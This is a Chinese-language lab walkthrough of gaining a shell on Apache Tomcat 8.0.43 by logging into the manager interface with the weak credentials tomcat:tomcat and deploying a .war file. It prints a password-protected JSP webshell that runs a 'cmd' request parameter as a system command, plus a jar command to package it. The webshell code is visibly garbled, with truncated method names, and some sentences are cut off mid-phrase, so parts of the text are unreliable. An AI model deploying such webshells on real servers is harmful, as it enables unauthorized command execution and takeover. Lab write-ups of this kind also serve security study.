Tomcat弱⼝令GetShell
0x00 漏洞概述
Tomcat⽀持后台部署.war⽂件——可直接将WebShell部署到web⽬录下。访问后台的条件是⽤户具有相应权限。
war包是⽤来进⾏Web开发时⼀个⽹站项⽬下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发⼈员开发完毕时,就会将源码打包给测试⼈员测试,测试完后若要发布则也会打包成war包进⾏发布。war包可以放在Tomcat下的webapps或work⽬录,当Tomcat服务器启动时,war包即会随之解压源代码来进⾏⾃动部署。
Tomcat 7+的权限有:
manager(后台管理)
manager-gui拥有html页⾯权限
shell代码
manager-status拥有查看status的权限
manager-script拥有text接⼝权限(包括status权限)
manager-jmx拥有jmx权限(包括status权限)
host-manager(虚拟主机管理)
admin-gui拥有html页⾯权限
admin-script拥有text接⼝权限
这些配置位于l中。正常安装情况下,Tomcat 8中默认没有任何⽤户,且manager页⾯只允许本地IP访问。只有管理员⼿动修改了这些属性后才可能出现攻击机会。
0x01 靶机配置
仍旧使⽤镜像。
使⽤Docker⾃带命令⾏虽然⽐较朴素,但能够满⾜简单查看的需求。
可以看到弱⼝令⽤户tomcat: tomcat,⽽且具有多项权限。
0x02 利⽤流程
访问靶机
Apache Tomcat/8.0.43。
弱⼝令登录
由于是实验,事先从Docker获取了弱⼝令账户。实战中就没这么⽅便,常常还需要权衡是否有爆破的必要。个地⽅登录,⽐如/manager/status:
好看:
传⼤马
做⼀个含⼝令的.jsp⼤马:
<%
if("thisispasswd".Parameter("pwd"))){
java.io.InputStream in = Runtime().Parameter("cmd")).getInputStream();        int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((ad(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
将这个.jsp压缩到.zip⽂件中,并将后缀改为.war即可上传。或者更为标准,使⽤命令
jar -cvf wdnmd.war wdnmd.jsp
点击List Applications:
上传war包:
部署成功:
可以看到返回消息OK,也新增了⽬录/wdnmd。Get Shell
马的位置是/[war包名]/[.jsp⽂件名]。
利⽤成功!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。